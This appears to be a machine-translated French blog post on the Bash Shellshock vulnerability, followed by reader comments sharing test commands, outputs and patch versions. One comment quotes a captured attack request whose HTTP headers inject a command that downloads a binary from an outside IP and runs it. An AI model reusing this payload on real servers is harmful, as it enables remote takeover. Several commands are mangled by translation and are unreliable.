Il tourne comme une traînée de poudre sur certains blogs, une histoire publiée dans le blog sur la sécurité de Red Hat à propos d'une vulnérabilité trouvée dans Bash en raison d'une mauvaise utilisation des variables globales. Selon les nouvelles originales:
«… La vulnérabilité est due au fait que vous pouvez créer des variables d'environnement avec des valeurs spécialement conçues avant d'appeler le shell bash. Ces variables peuvent contenir du code qui est exécuté dès que le shell est appelé. Le nom de ces variables élaborées n'a pas d'importance, seulement leur contenu. En conséquence, cette vulnérabilité est exposée dans de nombreux contextes, par exemple:
- ForceCommande il est utilisé dans les configurations sshd pour fournir des capacités d'exécution de commande limitées aux utilisateurs distants. Cette faille peut être utilisée pour éviter cela et fournir une exécution de commande arbitraire. Certaines implémentations de Git et Subversion utilisent de tels shells restreints. L'utilisation régulière d'OpenSSH n'est pas affectée car les utilisateurs ont déjà accès à une console.
- Le serveur Apache utilisant mod_cgi ou mod_cgid est affecté si les scripts CGI sont écrits à la fois dans les sous-niveaux bash ou spawn. Ces sous-niveaux sont utilisés implicitement par system / popen en C, par os.system / os.popen en Python, si vous utilisez un shell system / exec en PHP (lors de l'exécution en mode CGI), et ouvrez / system en Perl (qui dépend de la chaîne de commande).
- Les scripts PHP exécutés avec mod_php ne sont pas affectés même si les sous-niveaux sont lus.
- Les clients DHCP invoquent des scripts shell pour configurer le système, avec des valeurs provenant d'un serveur potentiellement malveillant. Cela permettrait d'exécuter des commandes arbitraires, généralement en tant que root, sur la machine client DHCP.
- Divers démons et programmes avec des privilèges SUID peuvent exécuter des scripts shell avec les valeurs de variable d'environnement définies / influencées par l'utilisateur, permettant l'exécution de commandes arbitraires.
- Toute autre application qui se connecte à un shell ou exécute un script shell comme l'utilisation de bash comme interpréteur. Les scripts shell qui n'exportent pas de variables ne sont pas vulnérables à ce problème, même s'ils traitent du contenu non approuvé et le stockent dans variables shell (à gauche) et sous-niveaux ouverts.
... "
Comment savoir si mon Bash est affecté?
Compte tenu de cela, il existe un moyen très simple de savoir si nous sommes affectés par cette vulnérabilité. En fait, j'ai testé sur mes Antergos et apparemment je n'ai aucun problème. Ce que nous devons faire est d'ouvrir un terminal et de mettre:
env x = '() {:;}; echo vulnérable 'bash -c "echo ceci est un test"
Si ça sort de cette façon, nous n'avons aucun problème:
env x = '() {:;}; echo vulnérable 'bash -c "echo ceci est un test" bash: avertissement: x: tentative de définition de fonction ignorée bash: erreur lors de l'importation de la définition de fonction pour `x' ceci est un test
Si le résultat est différent, vous devez utiliser les canaux de mise à jour de nos distributions préférées pour voir si elles ont déjà appliqué le correctif. Alors tu sais 😉
Mise à jour: Ceci est la sortie d'un collègue utilisant Ubuntu 14:04:
env x = '() {:;}; echo vulnérable 'bash -c "echo ceci est un test" vulnérable ceci est un test
Comme vous pouvez le voir, jusqu'à présent, il est vulnérable.
J'ai Kubuntu 14.04 de 64 et j'obtiens également:
env x = '() {:;}; echo vulnérable 'bash -c "echo ceci est un test"
vulnérable
c'est un test
J'ai déjà mis à jour, mais cela ne corrige pas. Que faire?
Attendez qu'ils se mettent à jour. Déjà mis à jour par exemple eOS .. 😀
Comme c'est bizarre, j'ai aussi Kubuntu 14.04
$ env x = '() {:;}; echo vulnérable 'bash -c "echo ceci est un test"
bash: avertissement: x: tentative de définition de fonction ignorée
bash: erreur lors de l'importation de la définition de la fonction pour `x '
c'est un test
J'ajoute que la version du package "bash" qui a été téléchargée aujourd'hui est:
4.3-7ubuntu1.1
http://packages.ubuntu.com/trusty/bash
Dans mon cas, en donnant la commande, cela me donne simplement ce qui suit dans le terminal:
>Quoi qu'il en soit, la blague est que j'ai mis à jour Debian Wheezy et c'est ce qui m'a largué.
Wheezy est toujours vulnérable à la deuxième partie du bogue, au moins pour l'après-midi (UTC -4: 30) le problème était toujours le suivant: /
Je viens de vérifier qu'après avoir appliqué une mise à jour ce matin, ni Slackware, ni Debian, ni Centos ne sont affectés car ils ont reçu une mise à jour correspondante.
Qu'est-ce qui rend Ubuntu encore vulnérable à cette heure? Et dites-moi que c'est sûr: D.
Mais avez-vous essayé de mettre à jour Ubuntu?
Avec la mise à jour d'aujourd'hui, ils l'ont également corrigé.
OK
Les experts en sécurité mettent en garde contre la vulnérabilité de 'Bash', il pourrait constituer une menace plus grande pour les utilisateurs de logiciels Linux que la faille Heartbleed, où les 'hackers' peuvent exploiter un bogue dans Bash pour prendre le contrôle complet d'un système.
Tod Beardsley, responsable de l'ingénierie chez la société de cybersécurité Rapid7, a averti que la faille avait été notée 10 pour sa gravité, ce qui signifie qu'elle a l'impact maximal, et notée «faible» pour la complexité de l'exploit, ce qui signifie ce qui est relativement facile pour les attaques de «hacker». En utilisant cette vulnérabilité, les attaquants peuvent potentiellement prendre le contrôle du système d'exploitation, accéder à des informations confidentielles, apporter des modifications, etc. », a déclaré Beardsley. "Quiconque possède des systèmes qui occupent Bash devrait appliquer le correctif immédiatement", a-t-il ajouté.
AVANT CETTE VULNÉRABILITÉ QUI PRÉSENTE L'ANCIEN OUTIL (GNU) où Bach est hébergé, il serait plus pratique pour les logiciels Linux de se débarrasser de GNU et de changer pour l'outil BSD.
PS: ne censurez pas ma liberté d'expression, ... n'insultez personne, ... ne supprimez pas mon message comme le message précédent que j'ai supprimé!.
Oh, s'il vous plaît, n'en faites pas trop. Comment je déteste ces gens qui utilisent BSD et méprisent GNU, Linux ou quoi que ce soit de ces projets.
Je suis avec vous et vous avez tout à fait raison quant à la gravité de ce trou.
Ce n'était pas de la censure, c'était de la redondance (vous aviez fait le même commentaire dans le post de gnome 3.14)
«… Et noté« FAIBLE »POUR LA COMPLEXITÉ de l'exploitation, ce qui signifie qu'il est relativement FACILE pour les attaques de pirates»
L'incongruité est-elle perceptible?
Comment peut-il être facile d'exploiter la vulnérabilité et en même temps avoir un niveau de risque «faible» parce qu'il est si complexe à utiliser?
C'est un bug qui a été résolu quelques heures après la réunion et qui, comme heartbleed, n'a aucun rapport indiquant avoir été exploité (bien sûr, celui-ci a moins de temps pour se connaître).
C'est plus une presse tabloïd qu'un risque réel.
@Staff vous semble-t-il sans importance? Que vas-tu me dire maintenant?
OBTENIR./.HTTP/1.0
.User-Agent: .Merci-Rob
.Cookie: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Hôte: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Referer: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.J'accepte:. * / *
$ fichier nginx
nginx: exécutable ELF 32 bits LSB, Intel 80386, version 1 (SYSV), lié statiquement, pour GNU / Linux 2.6.18, dépouillé
$ somme md5 nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$ sha256somme nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
Vous savez qu'il est? De rien de peu dangereux ...
La situation est assez grave, mais à partir de là pour dire qu'il faut arrêter d'utiliser bash pour une option BSD, c'est déjà tout au plus, de toute façon la mise à jour est déjà là, je touche juste mise à jour et rien d'autre.
Maintenant le PD, je pense que c'est plus un collègue @robet, je ne pense pas que les administrateurs ici se consacrent à supprimer des commentaires comme celui-ci parce que oui, parce que, depuis que j'ai participé à cette communauté j'ai eu ce sentiment et j'espère que ça restera comme ça.
Salutations.
Vous mettez exactement le même commentaire sur deux articles différents. Si vous essayez de promouvoir "la source" de l'histoire, désolé, ce n'est pas l'endroit.
Bash vient d'Unix (et de son clone GNU). Les systèmes basés sur BSD comme OSX sont également affectés et, selon Genbeta, ils ne l'ont pas encore corrigé. De même, pour accéder à Bash, vous avez besoin d'un compte utilisateur, local ou via SSH.
@Personnel:
1.- Il est classé au niveau 10 (niveau maximum de danger) en raison de la quantité de services qui peuvent être affectés par le bogue. Dans la note principale, ils expliquent ce fait très clairement, en faisant valoir que le bogue peut affecter des services tels qu'apache, sshd, des programmes avec des autorisations suid (xorg, entre autres).
2.- Il est classé comme faible niveau de difficulté, en ce qui concerne sa mise en œuvre, et le meilleur exemple en est le script de test de vulnérabilité que @elav a placé dans le message. Très difficile à mettre en œuvre n'est pas, comme vous pouvez le voir.
Je ne vois pas de redondance dans les informations (je ne vois qu'une traduction de Google) et si le problème est assez sérieux, et comme vous le dites, il a déjà un patch et une solution, mais pas pour ça, ce n'est plus un risque, et bien réel .
@petercheco / @Yukiteru
Ne vous méprenez pas, je pense qu'il est clair que ma critique est la nouvelle que Robet lie et se concentre sur l'incongruité et non la redondance.
De la même manière, il faut faire la différence entre risque et danger (je ne mentionne pas ce dernier), nous les utilisons couramment comme synonymes, mais ici, le danger serait la capacité d'endommagement du bug et risquerait la probabilité de son apparition.
Dans mon cas particulier, je suis entré d'hier. Ce n'était pas pour les listes de diffusion ou quoi que ce soit du genre, mais pour une distribution de bureau! J'ai pris le téléphone et envoyé un message à l'administrateur système avec le lien et j'ai confirmé que j'avais tout corrigé, alors excusez-moi mais ces nouvelles ne m'empêchent pas de dormir.
Dans d'autres forums, ils mentionnent la vulnérabilité Bash, "la solution que Debian et Ubuntu ont publiée", mais aujourd'hui ils ont découvert qu'il y avait encore une vulnérabilité, donc la solution était incomplète, ils le mentionnent!
Je vois que beaucoup m'ont critiqué pour le simple fait d'empêcher les gens de la gravité de la vulnérabilité - qualifiés avec un niveau 10 de dangerosité maximale, et de mentionner des solutions possibles aux logiciels Linux avant l'outil GNU obsolète où Bash est hébergé - qui parfaitement GNU pourrait être remplacé par l'outil BSD dans les logiciels Linux,… J'utilise aussi Linux et j'aime Linux!
Je précise que Bash n'est pas installé par défaut dans BSD, c'est un autre package de compatibilité Linux qui peut être installé dans BSD ... Et la source est placée de manière à ce qu'ils puissent vérifier les nouvelles, car de nombreux utilisateurs ne croient parfois pas au message ou au commentaire.
robet: Comme ils vous l'ont déjà répété encore et encore, vous avez déjà mis votre commentaire avec les nouvelles dans un message, vous n'avez pas à le mettre dans chaque message que vous commentez.
Sur bash, il existe d'autres shells qui peuvent être utilisés au cas où Bash serait vulnérable. 😉
Robet, à ma connaissance, il n'existe aucun logiciel qui combine le noyau Linux avec le userland BSD. La chose la plus proche est l'inverse, kBSD + GNU, comme le font Gentoo et Debian. De plus, GNU (1983) ne pourrait pas être qualifié de "démodé" s'il est d'après BSD (1977). Ils partagent tous les deux leur racine unix (mais pas le code), il n'y aurait pas de «compatibilité Linux» si Bash était créé alors que Linus T était encore un enfant.
uff, les tests de debian en ce moment sont "vulnérables" quelle séquence nous avons ...
J'utilise Debian Testing et même dans cette branche, nous avons reçu la mise à jour bash
selon genbeta il y a aussi une autre vulnérabilité
http://seclists.org/oss-sec/2014/q3/685
la commande à interroger est
env X = '() {(a) => \' sh -c "echo vulnérable"; bash -c "échec d'écho 2 non corrigé"
env X = '() {(a) => \' sh -c "echo vulnérable"; bash -c "echo Unpatched Failure 2" sh: X: ligne 1: erreur syntaxique près de l'élément inattendu `= 'sh: X: ligne 1:` `' sh: erreur lors de l'importation de la définition de la fonction pour` X 'sh - Vulnérable - Échec 2 commande non corrigée introuvableLe même moi.
Pareil ici. Mais le bogue original dans l'article a été corrigé dans (L) Ubuntu 14.04
Au lieu de faire un simple écho, essayez de lui faire exécuter une instruction qui nécessite des privilèges, je lance "privilèges insuffisants" ... ce bogue n'augmente pas les privilèges? S'il n'augmente pas les privilèges, alors ce n'est pas aussi dangereux qu'ils le peignent.
Tu as raison!! c'étaient deux vulnérabilités ...
Pour moi dans Linux Mint 17 après la deuxième mise à jour bash qu'ils ont placée dans les référentiels Ubuntu la nuit dernière, lors de l'exécution de cette commande, le shell offre cette sortie:
env X = '() {(a) => \' sh -c "echo vulnérable"; bash -c "écho écho 2 non corrigé"
>
La version de "bassh" qui a été placée dans les référentiels Ubuntu pour mettre à jour les précédents est:
4.3-7ubuntu1.2
Sur les systèmes dérivés de Debian, vous pouvez vérifier la version installée avec cette commande:
Version dpkg -s bash | grep
Quoi qu'il en soit, cela devrait être clarifié, au moins pour les utilisateurs Debian, Ubuntu et Mint; Ne vous inquiétez pas trop des programmes qui exécutent des scripts avec l'en-tête #! / Bin / sh car sur ces distributions / bin / sh n'appelle pas "bash", mais se lie au shell "dash" (le tiret est :)
La console Debian Alchemist (tableau de bord) est une console POSIX dérivée
de cendres.
.
Puisqu'il exécute les scripts plus rapidement que bash, et a moins de dépendances
des bibliothèques (ce qui le rend plus robuste contre les pannes logicielles ou
matériel), il est utilisé comme console système par défaut sur les systèmes
Debian.
Ainsi, au moins dans Ubuntu, "bash" est utilisé comme shell pour la connexion de l'utilisateur (également pour l'utilisateur root). Mais tout utilisateur peut utiliser un autre shell par défaut pour l'utilisateur et les consoles root (terminaux).
Il est facile de vérifier que le shell exécute les scripts (#! / Bin / sh) en exécutant ces commandes:
fichier / bin / sh
(la sortie est / bin / sh: lien symbolique vers `dash ') nous suivons la trace en répétant la commande
fichier / bin / dash
(la sortie est / bin / dash: objet partagé LSB 64 bits ELF, x86-64, version 1 (SYSV) donc c'est l'exécutable.
Voici les résultats sur une distribution Linux Mint 17. Sur d'autres distributions non basées sur Ubuntu / Debian, ils peuvent être différents.
Il n'est pas difficile de changer le shell par défaut !! vous pouvez même en utiliser un autre pour les utilisateurs et pour l'utilisateur root. En fait il vous suffit d'installer le shell de votre choix et de changer la valeur par défaut avec la commande "chsh" ou en éditant le fichier / etc / passwd (bien que les utilisateurs qui ne connaissent pas les conséquences d'une erreur lors de l'édition du fichier "passwd", c'est Mieux vaut bien s'informer et avant de le modifier, faire une copie de l'original au cas où il serait nécessaire de le récupérer).
Je me sens plus à l'aise avec "tcsh" (tcsh est :)
La console TENEX C, une version améliorée du Berkeley csh
"Csh" est ce que Mac OS X utilisait il y a quelques années. Ce qui est logique étant donné qu'une grande partie du système d'exploitation d'Apple est du code FreeBSD. Maintenant, d'après ce que j'ai lu hier, il semble qu'ils fournissent également des "bash" pour les terminaux utilisateurs.
CONCLUSIONS:
- Des versions patchées de "bash" ont déjà été distribuées "pour les distributions les plus utilisées"
- "bash" version 4.3-7ubuntu1.2 et ultérieure ne contient pas ces bogues
- Il n'est pas obligatoire d'utiliser "bash" sous OS * Linux
- Peu de * distributions Linux lient #! / Bin / sh avec "bash"
- Il existe des alternatives: ash, dash, csh, tcsh et bien d'autres
- Il n'est pas compliqué de changer le shell par défaut que le système appelle lors de l'ouverture d'un terminal
- Peu de petits appareils (routeurs et autres) utilisent "bash", car il est très gros !!
En ce moment, une autre mise à jour vient d'arriver qui installe une autre version de "bash" 4.3-7ubuntu1.3
Pour Linux Mint 17 et Ubuntu 14.04.1 LTS
ArchLinux est entré dans la version bash-4.3.026-1
@ Xurxo… .csh de Berkeley?,… Vous comprenez quelque chose de ce que je parle ci-dessus, et il vaut mieux utiliser BSD «csh»… plutôt que l'ancien outil GNU où Bash est hébergé. Cet outil est le meilleur pour les logiciels Linux.
Je suppose que c'est le bug
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760
vrai?
Et quelle serait la solution?
Attendez qu'ils mettent à jour le package sur votre distribution 😉
Le bug a été baptisé shellshock
http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/
vulnérable
c'est un test
Pas encore de correctif pour Ubuntu Studio 14.04
Réparé dans Ubuntu Studio 14.04.1
wisp @ ubuntustudio: ~ $ env x = '() {:;}; echo vulnérable 'bash -c "echo ceci est un test"
bash: avertissement: x: tentative de définition de fonction ignorée
bash: erreur lors de l'importation de la définition de la fonction pour `x '
c'est un test
C'est en fait une vulnérabilité mineure, si cela vous affecte, c'est que vous faisiez quelque chose de mal avant ...
Parce qu'un script bash qui s'exécute avec les privilèges root ne doit jamais être exposé à un utilisateur. Et s'il court sans privilèges, il n'y a pas de gonflement de ce genre. En fait, c'est idiot. Beaucoup d'alarmisme.
Je pense la même chose.
Exactement, pour vendre plus de journaux ou obtenir plus de visites, ces bugs sont bons.
Mais ils oublient toujours de mentionner que pour compromettre un ordinateur avec ce type de scripts, vous devez d'abord avoir accès à bash puis l'avoir en tant que root.
staff si vous utilisez un apache avec cgi, mettez simplement les en-têtes http comme cookies ou référez-vous à la fonction que vous voulez exécuter. Il a même été utilisé pour propager des vers.
et si quelqu'un met un shell sur un serveur avec un wget mishell.php, dans ce cas ce n'est pas grave, n'est-ce pas?
D'accord avec toi. Je pensais que c'était un énorme bug comme celui de Heartbleed (même la NSA s'est prêtée pour alimenter la morbidité), mais après tout c'était un bug mineur.
Il y a d'autres bugs vraiment sérieux comme la consommation folle de Flash et la baisse des performances dans Pepper Flash Player, et celui qui a déjà été corrigé bogue webRTC dans Chrome et Firefox.
Savez-vous s'il a un arrangement pour les personnes qui ont Linux Mint 16?
Dans les tests Debian, cela a déjà été corrigé.
Dans mes 5 distributions, c'est résolu, dans mon OS X je ne sais pas.
Merci de ne pas censurer mon commentaire, j'ai dit OS X. Je ne sais pas si vous pouvez dire OS X sur ce site.
@yoyo eh bien, ne paniquez pas trop car ils travaillent encore sur certains détails du patch ... essayez ceci et dites-moi comment à propos de XD
env x = '() {:;}; echo vulnérable 'bash -c "echo je suis plus vulnérable que la corbeille de l'iphone 6"
Que s'ils l'ont résolu à 100% avant OS X, je parie quoi que ce soit
Eh bien, même dans Ars Technica, ils donnent la pertinence de Bash dans OSX.
@Yoyo prochain commentaire sur OS X pour SPAM .. lla tu save .. 😛
@yoyo là pour corriger les citations ... mais le reste vous savez 😉
La FSF a parlé
https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
Comme s'ils étaient devenus condescendants avec OSX (car OSX utilise toujours Bash: v).
Quoi qu'il en soit, je n'ai pas trop à jouer avec Debian Jessie.
Si le système est vulnérable sur Cent OS:
miam nettoyer tout && miam mise à jour bash
pour voir la version bash:
tr/min -qa | grep bash
Si la version est antérieure à bash-4.1.2-15.el6_5.1, votre système peut être vulnérable!
Salutations.
2ème vulnérabilité non encore résolue
env amvariable2 = '() {(a) => \' sh -c "echo amVulnerable"; bash -c "échec d'écho 2 non corrigé"
Mise à jour ...
Le contraire m'arrive dans Gentoo, je ne suis vulnérable qu'au premier échec mais avec le second j'obtiens ceci:
[code] sh: X: ligne 1: erreur syntaxique près de l'élément inattendu `= '
sh: X: ligne 1: '' '
sh: erreur lors de l'importation de la définition de la fonction pour `X '
sh: vulnérable: commande introuvable
Bug 2 non corrigé
[/ Code]
Je ne sais pas s'il y aura déjà une version stable de Bash avec les bogues corrigés, mais dans tous les cas, elle sera en attente pour la prochaine fois que je ferai une emerge –sync && emerge –update –deep –with-bdeps = et –newuse @world (c'est ainsi étape je mets à jour tout le système).
J'ai Gentoo avec la version 4.2_p50 et jusqu'à présent, il a passé tous les tests. Essayez d'émerger –sync, puis d'émerger -av1 app-shells / bash, puis vérifiez que vous disposez de la version 4.2_p50 à l'aide de la commande bash –version.
Avez-vous essayé cela?
Et avec de nouveaux packages, un nouveau test que Red Hat nous fournit
cd / tmp; rm -f / tmp / echo; env 'x = () {(a) => \' bash -c "date d'écho"; cat / tmp / écho
Si notre système n'est pas vulnérable et a été correctement patché, il doit nous donner quelque chose comme ça
Date 1
2 cat: / tmp / echo: le fichier ou le répertoire n'existe pas
Essayez de cette façon:
env X = '() {(a) => \' sh -c "echo vulnérable"; bash -c "échec d'écho 2 corrigé"
Je reçois
vulnérable
Bug 2 corrigé.
Oubliez ça, la ligne est mal formatée.
Excellent! J'ai déjà fait la mise à jour sur mon Slackware, merci!
Salut, une question se pose, j'ai plusieurs serveurs avec "SUSE Linux Enterprise Server 10" 64 bits.
Quand j'exécute les commandes je suis vulnérable, je suis encore plus vulnérable que la poubelle de l'iPhone 6 xD
Si je n'ai pas tort de mettre à jour / installer des packages dans SUSE, cela se fait avec la commande «zypper».
Sur certains serveurs, cela me dit:
BIAL: ~ # zypper vers le haut
-bash: zypper: commande introuvable
BIAL: ~ #
Et dans d'autres, ceci:
SMB: ~ # zypper vers le haut
Restauration des sources système…
Analyse des métadonnées pour SUSE Linux Enterprise Server 10 SP2-20100319-161944…
Analyse de la base de données RPM ...
Résumé :
Rien à faire.
Qu'est-ce que je fais?
Je sais que certains disent que la vulnérabilité est inférieure à ce qu'ils peignent, mais je l'ai et je ne veux pas être exposé à des risques, qu'ils soient petits ou grands.
Salutations.
Bonsoir, j'ai essayé de coller le code que vous avez fourni dans l'article, j'obtiens ceci
ponceuses @ pc-ponceuses: ~ $ env x = '() {:;}; echo vulnérable 'bash -c "echo ceci est un test"
c'est un test
ponceuses @ pc-ponceuses: ~ $
Pourriez-vous s'il vous plaît m'expliquer comment patcher la distribution, je mets à jour quotidiennement et je ne vois pas de changements dans la sortie de l'invite.
Merci beaucoup!